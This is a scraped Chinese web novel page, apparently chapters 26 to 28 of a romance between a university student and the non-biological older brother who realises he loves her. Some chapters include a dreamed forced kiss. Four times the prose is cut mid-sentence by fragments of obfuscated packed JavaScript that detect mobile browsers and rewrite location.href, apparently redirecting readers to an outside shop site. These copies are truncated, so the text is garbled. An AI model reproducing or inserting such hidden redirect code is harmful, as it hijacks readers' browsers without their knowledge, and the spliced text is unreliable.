l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200288|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>你最好别太过分了。 这八个字不是蒋冬至第一次跟她讲。 高考结束后的那场成人礼,18岁的生日蜡烛被吹灭,十二点钟的钟声被敲响,加固在她“未成年”身份上的束缚终于被解开。于是她做了个大胆的决定,拉着范茹画,怀着满腔的好奇心踏进了那间灯光朦胧的酒吧。 是仅为女性开放的店,炙热的夏天,来来往往全是身着吊带短裙的美女。座椅在振动,光束在转动,DJ手持着话筒,人群在舞台下肆意摇摆,音乐鼓点声敲击耳膜,一声声像砸在人的神经上,令人头皮发麻的刺激。 那会儿她并不会想到鸡尾酒名是如此五花八门,只随手指了个浪漫的名字,也因此也没有想到颜色那么漂亮的玻璃杯里装的是会使人失去清醒的高度数酒精,这简直就像毒蘑菇。 好在身边还有个理智尚存的范茹画,好在她踏进去前打听过这家店——老板娘开店时怕出什么事,找了几个女保镖,专门处理闹事的人,比如一些在门口叫嚣着“为什么我不能进”的男性,以及送一些醉酒的人回家。 这也是她选这家店的原因,第一次尝试,安全性更高,蒋冬至还没办法进来抓她。当然,在出门之前她也做了一些准备,比如提前同他道晚安,比如将拖鞋藏了起来,再比如关闭了自己的房门。 她就这样哼着歌回家,脚上鞋子踹走,思绪还停留在那样热烈喧嚣的音乐里,眼前的世界光怪陆离,头顶的灯光在晃动,那道头发凌乱、皱着眉从房间里走出来的人影也在晃。 人影的嘴一张一合,几道人影的嘴一起一张一合,带着震惊与荒唐:“你骗我。” 记忆就像卡带的默片,将她脑袋里的漆黑拉长了,理性抛走了,只剩下被潜意识掌控的躯壳。她说了什么,已经浑然记不清了,她好像是说了些什么,听不清了,耳朵似乎被浸在水里。 “啪。” 直至清脆的一声,皮肉相贴,像是某种信号砸在了她的头上,将她瞬间从无意识海拽回地面,有只手把住她的脸,迫使她转过头来,眼前的漆黑慢慢散开了,她看见一双黑压压的眼睛,离自己不过一尺。 程拾醒有些犯愣,手臂被人攥着,他掌心炙热的温度沁进她的皮肤里,顺着血管涌进心脏。 蒋冬至垂眸瞧着她。视线在半空中交汇,像悄无声息的飓风,像暗流涌动的海域,像触碰到指间的球形闪电,下一秒即将爆炸。 “相看两厌?这么讨厌我?”她看见他扯着唇角笑了下,“是酒后胡言还是真心话?” 声音朦朦胧胧落进耳,却似刻刀在脑海中划出不可磨灭的印记。她不太舒服地皱了下眉,伸手想拂开他的手,可是没有力气,反而被捏得更紧。 “程拾醒,你可真喜欢骗人,无论是说出去的、写下来的、送出去的,都能不作数,你真厉害。” 他嗓音很沉,听上去又似乎有点难过,将她的肩带提上去,指腹刻意避开她肩头的皮肤,以一个恰当的距离,轻声说:“你最好别太过分了。” 回忆像场薄雾,风一吹便散开了。 她仍觉得这句话是那样令她费解。 凭什么他明明不喜欢她这个妹妹,却要对她管东管西?凭什么在这段关系里,明明是她受制于下,他却要拿这样受伤的语气同她说话? 是当哥哥上瘾了,所以觉得哪怕这个妹妹是那样讨人厌,也要对她负责任吗? 26. 26 房间外的蒋冬至仍静静站在那儿,目光失焦地落在玄关处。 身后属于程拾醒的那扇房门紧闭,像是要把他隔离在她的世界之外。 他垂在身侧的手指微曲,指腹摩擦着。 方才只要再近一点,再近一点点,他就会碰到她的唇瓣,事实上他们的身子也离得那样近,近到只要他一弯手臂就可以将她揽入怀中。 他们对视着,他从他那位年轻漂亮又那样叛逆的妹妹眼底读出一抹倔色与嘲讽,似乎很不满他拿这样的语气同她讲话、这样管着她。于是他喉结一滚,握着她小臂的手不断收紧,就好像她是握不住的沙,是流动的水,可掌心触及到的是她柔软的毛衣,柔软到与带刺儿的她截然相反。 他的视线再下移,如有实质般拂过她颜色浅淡的唇,上头还残留一些唇釉的痕迹,藏在若有似无的唇纹里。方才她去见了谁、做了什么,被灯光照得那样一清二楚,连自我欺瞒都做不到。这种一清二楚令他恼火,恼火烧过他的喉咙,升起一抹渴意 ……以及冲动—— 他想亲她。 去这样做。 去覆盖掉别人留给她的痕迹与记忆。 去让她分手,立刻马上。 这样的声音在他脑中叫嚣,欲望撕扯理智,作势要把他扯成无法复原的两半,神经末梢都在为之颤动,令他呼吸急促,视野里能注意到的全部只有失了色的唇、还有她那双一向不听话的眼睛,剩下的一切都被模糊。 可他的手依旧稳稳地停在她的唇边,连触碰都没有。 这样的念头未免太疯狂,疯狂到不可思议。 程拾醒是谁?是他看着长大的人,是他从小照顾到大的妹妹,是甚至要比父母还要重要的家人,是几乎他世界里的全部。 他怎么可以升起这样的想法?他凭什么升起这样的想法? ……到底是哪一步出了错? 蒋冬至停下了指腹摩擦的动作,手指颤着蜷拢,捏成拳,紧紧的。 - 后面一周,程拾醒搬回了学校。 “你这次打算在学校待多久?”彼时她正蹲在地上理着行李箱,听见室友乔希边打游戏边问。 “两三天?一周?”程拾醒仔细想了想,耸肩,“我也不太清楚。” 乔希突然爆发出一阵喜悦的惊呼。 “嚯!五连胜!”她美滋滋地截完屏,放下手机,翘着椅脚,偏着头去看她,嗓音里带了调侃,“你回来得正是时候,冯亦欣正好有事要你帮忙……” 话音未落,对面的冯亦欣羞恼地甩了玩偶过来,大喊她名字,带着点警告:“乔希!” “干嘛?我说得不对吗?你不是最近没进展吗?让拾醒帮你参谋一下。”乔希把玩偶丢回去,冲着程拾醒道,“你知道吗?冯亦欣她有……” 冯亦欣从椅子上弹射起步,冲上去紧紧捂住她的嘴,乔欣反手就去挠冯亦欣的腰。 两个人闹了会儿,程拾醒蹲在一边,瞧着直乐:“所以是什么事?” “等等等——”冯亦欣被挠得痒到受不了,笑个没完,脸都通红,举起双手示意自己投降,“我自己说。” 她清了清嗓子,眼睛眨个没完没了,郑重地、声音轻轻地宣布:“我有喜欢的人了!” 程拾醒挑眉:“哦?” “就是……上次体侧补考,跑完步之后有点低血糖,头晕……”冯亦欣低着头,“然后,那个男生送我去了医务室,后面就加上了联系方式。” “那聊得怎么样?”程拾醒问。 “聊了一个多月,进展还算……可以吧。” 乔希飞快插嘴:“但是双方都没有更进一步,所以她很担心。” “乔希!”冯亦欣跺脚大叫,“都说了我自己说!!!” 乔希摸摸鼻子,默默在唇边做了个手拉拉链的动作,而后比了个ok。 程拾醒听明白了:“意思是,想让我做军师?” 冯亦欣抓了两下头发,随后颓然道:“是的。” 程拾醒瞧着她那样子,没绷住,噗嗤一声笑了。 “你别笑。”她拖着尾音哎呀了声,凑过去弯着腰抱着程拾醒撒娇,“帮我想想办法帮我想想办法,这个我是真心动。” “好好好。”她被前后摇晃着,无奈地摊开手,“我看看你俩的聊天记录。” 冯亦欣身子一探,从桌上拿过手机,戳了几下屏幕,双手捧着将手机转过来递给她。 程拾醒垂首,指尖滑动屏幕,余光里是冯亦欣期待又紧张的眼神,亮晶晶的,坠了光似的。 “嗯——”她撂下结论,“他对你有意思。” 就是像人机似的,笨笨的,比谈祝霄还笨。 正刷着,微信里又进了条新消息,程拾醒念:“对方刚刚问你是不是很忙,已经两个小时没有回复他的消息了。” 冯亦欣慌忙转回手机,惊讶:“啊?他两个小时前给我发消息了?我怎么不知道?” “你刚下床你能知道什么?”一旁的李纷纷吐槽。 冯亦欣哒哒打字:“可能是午睡完起来发现消息太多了,顺手一键清空了。我跟他解释一下。” “你不用跟他解释。”程拾醒将整理好的行李箱拉链拉上,起了身,拍拍手,语气清淡,“告诉他,你今天是挺忙的,忙到头疼。” “什么意思?我现在是要欲擒故纵吗?”冯亦欣茫然地抬头,搓着手指。 “然后再告诉他,现在属于忙里偷闲,因为和他聊天的时候你会放松很多,感觉心情很好。” 冯亦欣恍然大悟地发出感慨:“啊~~” 乔希:“啊~~” 啊完了,冯亦欣再问:“他回我说很开心我能这么觉得,然后呢?” 程拾醒思考了几秒,道:“你说,不过快忙完了,今晚就能闲出来了。” 乔希:“啊~~” 冯亦欣:“啊——” 她啪地捂住嘴,惊喜从弯起的眼睛里泄出来,小声说:“他约我今晚出来。” “手法。”乔希评价,“高端手法。” “开心了?”程拾醒问。 冯亦欣点头如捣蒜。 “好,现在坐下。”程拾醒下巴一扬,“帮你化妆。” - 帮冯亦欣做完妆造,程拾醒便背着毛绒小包匆匆出门了。 她今天约了谈祝霄。 出了宿舍楼,远远就瞧见谈祝霄蹲在地上,逗着猫玩。学校的猫大多亲人,平时懒洋洋趴在电瓶车上睡觉,冬天会跑进教室随机挑选一名学生的膝头趴着。眼下正眯着眼趴在地上晒着太阳,任由谈祝霄抚摸。 余光瞥见她,他抬起头,随后站起了身,眉眼含笑望着她走近了,自然地拉起她的手。 “去哪?”他问。 “逛逛水果店吧。”程拾醒道,“看看有没有我想吃的。” 剪发一月左右,她的头发长长了不少,拢起一半头发在脑后扎了个揪揪,细心打理过的刘海盖过眉梢,挡住额头,鼻梁上架着个黑框腮红眼镜,脖颈间松松系着个围巾,遮住一点下巴,显得脸格外小巧精致。 尤其是在低头挑选水果的时候。 谈祝霄在边上亦步亦趋地跟着。 程拾醒撕了个袋子,挑拣着橘子,他也跟着往里装袋,她哎了声,将他挑的橘子翻了个身,摸摸果脐,啧了下:“你挑水果的水平一般啊。” “怎么了?” “这种果脐小的,容易酸。”她又将橘子翻过来,“喏,顶部凸起,没熟透,不甜的。” 谈祝霄怔了下:“你喜欢吃甜的?” 她觉得莫名其妙:“谁吃水果不喜欢吃甜的?” 他抿了下唇,摇摇头,什么也没说。 付了款,她将袋子挂在手腕上,同谈祝霄出了店面。外头太阳已有西下的趋势,正是大雪天,仲冬已至,未见飘雪,天气却是已经肉眼可见地冰下来,风刮过时足够将鼻子冻得通红。 程拾醒搓了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14210084|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搓手,谈祝霄瞧见,问:“你冷不冷?我带了暖宝宝。” “我以为你会说,要把我的手放进你的口袋,诸如此类的。”她开玩笑。 他一愣,把口袋里预拿出来的东西塞回去:“那我没暖宝宝了。” 程拾醒在昏昏沉沉的夕阳下瞥着他,啧了声。 “来不及了,已经被我听见了。” “不能撤回吗?” “不能,所以你下次要机灵一点。”她语气轻松,“不过,我也带了暖手宝,在口袋里呢。” 她边说边笑着将手摸进口袋,正欲将暖手宝展示给他瞧,指尖触到什么某个小小的塑料,唇角蓦地一滞。 她将它捏出来,摊在掌心一瞧。 是一颗葡萄味的糖果。 不知道是什么时候被放进去的。 蒋冬至在她的口袋里放了一颗糖,不知道她什么时候会发现。 这是专属于他俩之间的暗号。 从小时候她怕药苦,吵着闹着告诉他说她的父母是会在她吃药的时候拿糖果哄她的,于是他头疼地跟着学,再到她生气的时候,他往她的手心里塞一颗,无声当和好的讯号,再到他的口袋无时无刻这样备一颗,在他总觉得患得患失的时候,在他总觉得程拾醒在与他渐行渐远的时候。 其实她喜欢吃甜的,糖果、蛋糕、甜品、水果…… 这件事只有他知道,连她自己都要否认。 而这次,她又打算离开这个家多久呢? 他已经给了她一颗糖,就像过去那样,她会回来得早一点吗? 人们总把这样的状态称之为分离焦虑,常见的现象是分离期坐立难安、胃疼、恐惧、做噩梦。 可是他没有做噩梦。 他梦到的是昨晚。 是昨晚她就这样抬着眼睛瞧着他,眼底倒影他强装平静的模样,她明明是被控着的那一方,可脸上却是胸有成竹的轻描淡写,明明是仰望他,可却是居高临下的眼神,半点没装。 这点与昨晚的现实并不完全相同,她撕下在他面前乖巧服软的伪装,拿淡淡的语气刺激他:“怎么?这样就生气了,哥哥?” “够了。”蒋冬至胸膛起伏着,连呼吸也重,“你别再说了。” “不是你让我说的吗?你想听什么我大可告诉你,说实在的我不在乎。”她却不停,唇瓣一张一合,“是啊,我就是跟那个男生交往了,是啊我就是喜欢他不喜欢你,是啊我们刚约会回来,你上次不都看见了吗?我就是和他接吻了怎么……唔。” 蒋冬至蓦地低头,堵上了她的唇。 捅破那层早已若隐若现的纱布,跨过道德束缚,撇开身份的约束,宇宙在他耳边爆炸,一切都变得如此混沌、失序,冲动的火星彻底成为了他世界里的主宰。 怀里的人在挣扎,于是他钳制她手臂的手滑落在她柔软的腰际,紧紧按向自己的腹部,另一只手抬高了她的下巴,大拇指捏着向下一压,两瓣唇猝不及防地被打开,被索取、搅动、摩挲。 他低着头,微弯了点腰,用力压着她,畅快地、迫切地,去做尽现实里他想做却不敢的事情。 “你再刺激我试试呢?”他贴着她,含糊不清地咬着字,带着点狠意,“你敢离开我试试呢?” 她的手抵在他的胸膛,往外用力推着。她当然不可能推动他,小时候打架平手永远是他在忍让。 大抵是意识到了这点,她的手缓缓失了力道,从他身上滑落,呜咽了声:“……哥。” “……” 蒋冬至猛地睁开眼,意识刹那间从梦里抽离。 他喘息着,手指揪紧了身侧的被褥,虚焦地望着雪白的天花板。 梦里的场景还在眼前闪动。 完了。 他突然意识到—— 他完蛋了。 那些患得患失的含义,原来根本不是出于哥哥对妹妹的关心,而是出于嫉妒,出于最原始的占有欲,出于他…… 喜欢程拾醒。 27. 27 冯亦欣如愿以偿,和她的crush成了。 “我太开心了,我跟你们说,他当时跟我表白的时候,我感觉我、我、我整个人都要烧起来了。”冯亦欣语无伦次地宿舍里面描述,来回走动,“首先,我要请你们吃饭,其次,我要你们吃饭,再次……我要说什么来着?” “你别说了你歇会儿吧。”乔希磕着瓜子,“话说回来,你男朋友叫什么名字来着?” 冯亦欣道:“江宥。” 程拾醒顿住了,转过身来,好笑又无语地再问了她一遍:“你说他叫什么?” “江宥。”冯亦欣茫然地挠挠头,“怎么了?你认识?” “认识,朋友的弟弟,和我弟弟也没区别了。”怪不得微信头像那么眼熟。程拾醒边说着,边打开手机给江含发了条消息。 Puhpowee:【你弟谈恋爱了。】 江含回得很快:【?你不是说不和熟人谈吗?】 Puhpowee:【不是我,是我室友。】 江含:【??】 江含:【怪不得最近不跟我提你也不在家唱《水星记》了,每天笑容满面的,好啊好啊,我这个当姐姐的是一点都不知道啊。】 江含:【请问两位是怎么谈上的呢?】 说来惭愧。 Puhpowee:【我助攻的。】 江含:【……你也好。】 “……也不是我请,就是我男朋友请。”耳边冯亦欣还在说,“他的意思就是呢,讨好一下你们。” “怎么?怕你在我们寝受欺负?”乔希吐瓜子壳,“搞笑,我们娘家人,谁怕谁在谁那受欺负呢?” 冯亦欣摆手:“不是不是,他也不是这个意思。” 乔希:“为他说话?胳膊肘往外拐,斩了。” “好啊。”边上的程拾醒给江含发完“你弟说要请我们寝吃饭”的消息,抬起头,兴趣盎然地笑,“让他请呗……对了,别告诉他我是谁。” 江含:【?那么大方?不像他。他当时说要追你的时候都没花过钱,只会在家里悲伤地干嚎。】 Puhpowee:【是啊,同一所学校,近半年了我也没见过他两回。】 江含:【……来找我要钱了,估计就为这事,呵呵,花的还是我的钱。】 冯亦欣疑惑:“啊?为什么?” 程拾醒语气轻飘飘的:“给他个惊喜。” - 在哪吃饭、吃什么等等都是冯亦欣挑选的,说吃完饭打算去附近一家狼人杀桌游店玩一下午,顺带着喊范茹画跟着一起来,又撺掇着程拾醒男朋友叫上,人多起来更好玩。 程拾醒婉拒,冯亦欣道:“狼人杀包房七人起订,我们四个加范茹画,再加我男友,现在才六个人,不够。” 她想了想,在冯亦欣一声声“我真的很想玩”“我已经很久没玩了”中逐渐失去反抗的意图,最后笑着摊手:“好吧,但我得先问问他有没有空。” “周六有什么好没空的?又不上课。” “有可能有什么志愿者之类的。”程拾醒一边说着,一边打开手机,备注是“刺猬”的聊天框居于微信榜首,亮着小红点。 她的指尖顿了下,掠过那副海岸油画的头像,点开谈祝霄的,指尖敲着屏幕,待发出邀请后才慢慢吞吞点开蒋冬至的头像。 刺猬:【什么时候回家?】 她抿了下唇。 Puhpowee:【不清楚,再说。】 手机嗡的一声响。 A男朋友:【可以啊,我有空!】 刺猬:【那天是我态度不好。】 她扫了眼,清除了小红点,将屏幕倒扣在桌面上。 - 那天程拾醒早上要先去趟辅导员办公室做个职业规划上的谈话,于是便同室友分开走。 导员谈话是班里每个同学都要参加,院里统一安排的任务,每周六上午按学号轮流过来,这周正好轮到她。 内容也没什么新鲜,无非就是问她未来打算具体做什么、简历的优化等等。 结束谈话后,她从办公室出来,拉上门。 谈祝霄正背着手低着头等在门口,他今天好像有仔细打扮过,额前的碎发三七分,估计是喷发胶定了型,麂皮绒棉服外套,黑色直筒休闲裤,显得人又瘦又高,听见有动静,立马抬了头,亮亮的目光锁住她,弯起唇,背在身后的手捧着一大束玫瑰,举到她面前来。 程拾醒被吓了一跳,垂眸瞧了眼玫瑰,既吃惊又好笑:“你怎么买了那么大一捧?” “女生不都喜欢花吗?” “可是我们这样去吃饭、玩桌游不方便。” 他有点失落:“也是我考虑不周。” “对呀,你考虑实在太不周了。”程拾醒接过玫瑰,抱在怀里,低头轻嗅,花香扑面,她抿住笑意,道,“不过看在我喜欢的份上,就……简单罚你陪我现在回趟宿舍吧。” 谈祝霄眨眼,“现在回宿舍?” “对啊。”她同他开玩笑,将玫瑰花往上颠了颠,“喜欢归喜欢,我总不能真带着去吃饭吧?先把它放回宿舍,等我晚上回来再找个花瓶养着。” 确认她确实是真的开心,没有嫌麻烦的意思,谈祝霄的眼睛亮了,牵起她的手,“好。” 好在时间还算充裕,二人得以悠闲地走在校园里。怀中那么大一捧玫瑰,热烈的红,被被故意揉旧的白纸仔细包装,外罩着层纱,精致又漂亮,走在路上难免显得招摇,路上偶尔有人转头有意无意地瞟两眼。 不过程拾醒本就是个招摇的人,也不在意别人的目光。 “话说,今天是什么特别的日子吗?”她问,“怎么会突然买这个?” 谈祝霄道:“因为开心。” “开心?”她尾音上扬。 “对。”他点点头,侧首望向她,“今天是你第一次主动邀请我去见你的朋友。” 他强调:“所以我很开心。” 他打听过,她前几任男友都没这待遇。 程拾醒若有似无笑了下,声音轻轻的:“是吗?” 回到宿舍时,里头没人,大家估计都出发了。程拾醒放下玫瑰花束后,就匆匆出了门,扣着谈祝霄的手走至校门口的公交车站,等着车。 餐厅离学校不过几站距离,她运气好,到了车站没等两分钟就上了车。公交车在车鸣声拐着弯,沥青路两侧的树木往后极速倒退,驶过几条街道,也便到了。 她跟着地图上的位置显示上了商场二楼,很快望见了偌大的门匾。 门口正站着服务员,礼貌:“您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233741|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好,几位?” 程拾醒道:“003包房。” “好的。”她扭头喊里头的同事,“003包房,带一下路!” 耳边的谈祝霄在问:“我是不是也应该意思意思,请大家吃个饭?” “不用。” “但是我看你室友男友也请了……” “这件事其实无所谓,毕竟你是跟我谈,又不是跟她们谈。”室友和男友关系好了并非是件好事,到时候要分手了,说不准这三个一被讨好就成了墙头草。程拾醒这么说着,在服务员指引下,推开了包房的门。 包房内的场景慢慢在视野内布开,包括布局、桌椅,也包括人,就像一幅被展开的画。 坐在门对面、正闲闲靠着椅的男人掌心仍贴在玻璃杯上,缓缓掀起睫毛,抬眸望了过来,正撞上她的眼睛。 程拾醒怔住,连同与谈祝霄紧握的那只手也失了些力道。 一周未见,蒋冬至的眼底多了些她看不懂的东西。 _ 确定自己心意后的头三天,蒋冬至破天荒没有给程拾醒发任何消息。 对她的喜欢,对他来说是一件很难以启齿的事情。 除开程拾醒有男朋友这件事不说,他们之间的关系是那样复杂,尽管没有血缘关系的纽带,却还是以兄妹相称着过了那么那么多年。这层关系就像牢不可破的一堵墙,横在他们之间,没办法去突破另一种可能。 全世界最亲密,全世界最疏离。 或许有一段用于独处冷静的时间也很好,他是这样想的。 但距离她离开已经过去一周了,程拾醒偏生就是个很决绝的性格,他不联系她,她就能一声不吭,既不回家,也不给他发消息,一条甚至一个字都没有。 他焦躁得不得了,焦躁之余又觉得好笑。 尤其是在她宿舍门口撞上手拉手出去的她的三个室友外加一个范茹画时。 她可真厉害,比他不在意得多,该玩玩,该吃吃,该乐乐,怎么样都好,好像没他也行。 但他已经受不了了。 看见程拾醒的那一秒,江宥瞬间倒吸一口冷气,噌的一下从椅子上弹起来,结结巴巴道:“拾醒姐。” 同蒋冬至对视间,程拾醒神色淡淡,牵着谈祝霄的手非但没有放,反而手指一曲,顶开谈祝霄的指间,插入,掌心相贴,而后扣住。 她的目光从蒋冬至身上挪开,就好像没瞧见他一样,慢慢吞吞地移到江宥身上,眉梢一扬,微微一笑:“好巧。” “……”最初的震惊劲儿过去,江宥看上去好像有点死掉了,或许在这儿碰到蒋冬至的时候他就应该早有所预料,闻言机械地张张嘴,“哈哈,是啊,好巧……” 她没说什么,扫过包间里的空位,唯有蒋冬至两侧各有一个空位,无论选哪个,她和谈祝霄都会被他隔开。 程拾醒再次抬起眼,目光落在圆桌对面的男人身上。 室内开了暖空调,他把外面那件大衣脱了叠放在椅背上,上身只一件松松的驼色毛衣,高领虚掩着下巴,没有看向她,手捏着玻璃杯抵着唇,抿了口热水,又放下。 “哥。”她叫了他一声,见他望过来,慢声道,“你能再往左边坐一个吗?” “我得和他坐。”她举起同谈祝霄十指紧扣的手。 28. 28 四目相对,他从喉间溢出声笑,低头舔了下干涩的唇,刺啦一声,从椅子上起了身,拎起自己的大衣往边上迈了一步。 “满意了吗?”他问。 满意得很。空出的两个座位里,另外一个还是挨着范茹画的。 “谢谢哥哥。”程拾醒乖乖巧巧地道完谢,牵着谈祝霄绕过圆桌,往里头走,刚拉开范茹画身侧的椅子,又听蒋冬至屈指扣了扣桌面。 “坐过来。”他道。 程拾醒下意识偏头瞥了眼范茹画,她的亲亲好闺蜜正努力低着头扣手机,仿佛要让自己在此刻彻底消失一样。 她也没拒绝,顺从了他的话,坐在了他身侧。 毕竟包间里人那么多,要吵要闹要抗拒也是私底下再谈。 她坐下后,蒋冬至自然而然将自己的茶具同她的换了个位置,声音听上去一如往常:“烫好了。” 她哦了声。 点完菜后,一群人有一搭没一搭聊着天,在场的关系网都是以程拾醒为核心的,自然也以她为中心展开话题。 江宥餐桌上安静得紧,微信消息倒是叮叮当当给她发个没完没了,消息里还混着几条江含的。两个头像在屏幕顶端交叉跳跃,跟在玩某种竞争游戏似的。 江宥:【拾醒姐,你没告诉我姐这事吧?】 江含:【见到我弟了吗?他什么表情?】 餐桌之上,冯亦欣好奇地问江宥:“话说,我听拾醒说,你俩认识啊?” 江宥道:“对,我姐是她健身教练。” 餐桌之下,程拾醒打字回复江宥:【你这次出门请我们吃饭要花不少钱吧?怎么跟你姐讲的?】 江宥:【我骗她说上学期忘记定教材了,现在要补交教材费。】 江宥:【拾醒姐你千万不要跟我姐讲,她可八卦了。求求你了,我给你买王者荣耀皮肤。】 Puhpowee:【我不打游戏。另外,有些事情你最好早点跟我室友坦白。】 发送完消息,她又将聊天记录截屏,统统转给江含。 江含发来了一串省略号。 “宝宝。”身侧谈祝霄低声唤着,余光处筷子晃过,他给她夹了块肉,“你吃这个。” 还未来得及从手机里抬起头,右侧又有人伸筷将她碗里的肉夹走了。 “她不吃羊肉。”蒋冬至毫无起伏,嗓音冷淡。 谈祝霄愣了下,抬睫扫过他,又垂下,内疚:“抱歉,我都不知道这个事。” “不要紧。”程拾醒终于摁灭了手机,耸肩,不太在意,“我也没跟你讲过这事。” “那你吃这个。”跟将功补过似的,谈祝霄又殷勤地给她夹了筷鸭肠。 蒋冬至再次给夹走了。 “她也不吃鸭肠。” 谈祝霄的筷子僵在半空中,连着两次夹错菜,人有些无措,“我、我……” “我喜欢吃土豆。”程拾醒突然开了口。 蒋冬至咀嚼的动作停下了。 谈祝霄会意,立马欢天喜地地夹了片给她,语气坚定得像发誓似的:“宝宝我记下了,下次不会忘的。” 她听见右侧有人扯着唇用气声哼笑了声,很轻一声,含义不明。 她神色照旧,无动于衷。 没过一会儿,程拾醒抽了张纸巾,擦拭过唇角后,低声同谈祝霄道:“我出去上个洗手间。” 他立即将椅子往前挪了挪,为她空出一条通行的道路。 这商场还挺大,椭圆形的布局,左右两侧的商店用玻璃隔开。程拾醒从餐厅里出来,跟着指示牌还绕了好一会儿,才发现洗手间在安全门里头。 上完厕所洗完手,出了洗手间的门,正用干燥的纸巾抹去手上的水珠,一转头,才看见蒋冬至正抱胸站在这条长廊的尽头,靠近安全门的位置,见她出来,视线便落在她身上,一眨不眨,却一声不吭。 说实在的,刚才在餐桌上,程拾醒被他弄得有点不爽,具体说哪里不爽又说不出来,就是感觉他现在整个人都充斥着股莫名其妙。 她顺手将纸巾丢进旁边的垃圾桶里,也没搭理他,目不旁视地往前走,手刚搭在安全门的把手上,忽而听见外头熟悉的声音,是江宥的。 “……就是当时我很崇拜她,成绩好,漂亮,但是在我眼里你更漂亮!反正所有人都围着她转,加上高中大家都有喜欢的人,我就跟风……哎呀,我真的对拾醒姐没那意思,她对我来说完全是偶像的力量。没意思归没意思,但是我还是得跟你解释这个事,我怕你从别人口中听见会误会……” 她抿抿唇,落在门把手上的手又收回去了。 早不解释晚不解释,现在解释;这不解释那不解释,偏偏在安全门口解释。 好了,他俩不走,她还没办法出去。 程拾醒终于瞥向他,隔了两秒,旋过身子,正对着他。 蒋冬至略低着头,不偏不倚地捉着她的目光,半晌,开了口:“打算什么时候回来?” 同一时间,程拾醒问:“怎么突然来这了?” 怕外面人听见,两个人声音都压得极低。 蒋冬至看着她,先回答问题:“闲着无聊来你学校转转,正好撞上你室友。” “闲着无聊?”程拾醒嗤笑一声,点点头,“好,那刚才你给谈祝霄难堪怎么解释?” 蒋冬至的心脏被怒火充成气球,伴着她一句“难堪”被戳破了,于是气球炸开,那些气体在他胸膛间横冲直撞。 他必须承认,他确实存了点那样的心思,这点他瞒不过程拾醒,她了解他,就像他也了解她一样,可那又怎么样?这是她为了区区一个外人就跟他这样争吵的理由吗? 他努力抑制住情绪:“究竟是我给他难堪还是他不够了解你?我早就跟你说过,我并不觉得他是什么值得你去与之谈恋爱的对象。” “我也跟你说过,我不需要考虑那么多。对于我来说,我现在喜欢他,他现在能给我带来快乐,那就是值得的。” 蒋冬至身子一滞,亲耳听到那四个字,说得那样大大方方、干净利落,他只觉荒谬。 “你喜欢他?” “不然呢?”程拾醒反问,“不然我跟他谈什么恋爱?” “难道他对于你来说很重要吗?比我还要重要吗!” 程拾醒彻底定住,仰着脸看他,胸膛还起伏着。 头顶的灯光明亮,勾勒面前人立体的五官,浓密似鸦羽的睫毛垂下小小一片阴影,他的眼神就这样数尽藏在那片阴影里,晦暗不明,却随着这样一句脱口而出的话倾泻出一点激烈的情绪,冰川一角。 门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14253052|149145||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口声音停了,估计是那两个人已经走了。 程拾醒睫毛抖了抖,扭头,避开他的视线,抬脚作势要推门而出:“我不要跟你做这些无意义的争吵了。” “但你还没回答我。”蒋冬至叫住她,“我回答了你,可是你没有回答我的问题——你打算什么时候回来?” “不知道。”她丢下这三个字,手握着把手朝下一按一推,大步走进了商场里头。 - 蒋冬至在原地停了一会儿,才抬脚跟着她往里走,临到餐厅前台,顺便结了账。 那一桌除了他以外的都还是学生,无论这顿聚餐起初是出于什么目的,从他决定加入开始性质就变了。他作为年长者,不可能真的厚着脸皮去蹭一顿尚还没有自足能力的学生的饭。 饭后,一行人跟着江宥的导航走,前往狼人杀桌游店。期间导航不太灵敏,显示人物方向的三角形总是偏移,谈祝霄握着手机跟着上去捣鼓导航了,范茹画这才有机会将程拾醒扯到一旁。 她悄悄扭头瞥了眼兀自落在最后面迈着长腿慢慢吞吞的蒋冬至,又看了看最前面的谈祝霄,压低了音量问程拾醒:“什么情况?跟你哥吵架了?” 程拾醒嗯了声。 “你哥是不是反对你跟谈祝霄谈恋爱?” 她又应一声:“对。” “长辈都这样,我爸也这样,我不谈恋爱他急,真谈了也急,搞不懂。”范茹画摇摇头,又道,“算了,你哥也不是很重要,重要的是,你今天怎么会把谈祝霄带过来?还那么高调。” “冯亦欣说人数不够开狼人杀包间。” “就这个原因?”范茹画盯着她一个劲瞧,“从十月份开始到现在,也快三个月了,你俩倒还是如胶似漆。” “有什么问题吗?”程拾醒问。 